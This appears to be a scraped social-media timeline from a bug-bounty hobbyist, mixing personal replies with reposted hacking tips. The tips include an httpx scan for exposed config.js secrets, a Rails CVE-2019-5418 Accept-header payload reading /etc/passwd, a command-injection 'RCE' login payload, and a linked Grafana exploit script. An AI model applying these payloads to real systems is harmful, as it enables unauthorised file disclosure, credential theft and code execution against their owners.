Snox07🇦🇪

I am sure that life now and in the future will continue to be happy.

[Snox07🇦🇪 @savety77]

@BullflowIO Hello team,can you reply me?

[Snox07🇦🇪 @savety77]

@BullflowIO How to respond to the problem I shared on Discord, should I also convey it here?

[Coffin @lostsec_]

Google Dorks for Uncovering File Upload Vulnerabilities..

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

Hunting for secrets? Try scanning live subs for config.js it often contains API keys,tokens, and other sensitive data

httpx -l live-subs.txt -path "config.js" -mc 200 -sc -cl -title

- This screenshot is from my current scanning of 3,304 live subdomains

#bugbountytips #Recon

[N$🌟 @__nav1n_]

If your target uses Rails, look for Action View CVE-2019-5418 - File Content Disclosure vuln. Although this is an old bug, it can still be found.

Intercept the request in Burp and replace the Accept header with: `Accept: ../../../../../../../../../../etc/passwd{{` #bugbountytips

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

A nice tricks to bypass 403/401.
#BugBounty #bugbountytips

[Bhagirath Saxena 🇮🇳 @rix4uni]

An automated recon tool for asset discovery and vulnerability scanning using open-source tools. Supports XSS, SQLi, LFI, RCE, IIS, Open Redirect, Swagger UI, .git exposures and more.

https://t.co/NxJqeMV52L

#bugbounty #bugbountytips #bugbountytip

[Snox07🇦🇪 @savety77]

@coffinxp7 @KevinNaughtonJr Of course, I mean there will be a process where Facebook is established, that's the point.

[Snox07🇦🇪 @savety77]

@coffinxp7 @KevinNaughtonJr One day there will be a competitor like Facebook from my country, help me make it happen.

[Coffin @lostsec_]

Hey everyone! sorry for the late. The new video is now out.. must-watch for anyone working on mastering recon techniques this will help u. This is just the first part of the checklist. More powerful techniques will be added and published soon on medium..
https://t.co/ny7cSMfS96

[VIEH Group @viehgroup]

🔥RCE in Auth Login

POC -
"auth": (
"user";"darkshadow' system("id").**,
"password" ="darkshadow"

Join Internship in bug bounty: https://t.co/46PQQUdVnZ

Post Credit: Saumadip Mandal
#bugbounty #bugbountytips #infosec

[Snox07🇦🇪 @savety77]

@Alra3ees how did you find that? i also found some graphql endpoints, can you help me?

[blueblue @piedpiper1616]

GitHub - NightBloodz/CVE-2025-4123: Script to exploit Grafana CVE-2025-4123: XSS and Full-Read SSRF - https://t.co/XrShAqkuew

[Snox07🇦🇪 @savety77]

@wgujjer11 Hello muhammad,i want to ask about cve 2025-24799 please reply me.

[Snox07🇦🇪 @savety77]

@linuxadii @coffinxp7 Private

[Snox07🇦🇪 @savety77]

Thank's to @coffinxp7 again,

[Snox07🇦🇪 @savety77]

@B0SSBowseR You don't know who he is nahamsec, so shut your mouth and don't come back

[Snox07🇦🇪 @savety77]

@amayank77191 @coffinxp7 yes,this is real ssrf not potential anymore and i have also improved getting credentials,all thanks to @coffinxp7

[Snox07🇦🇪 @savety77]

Thanks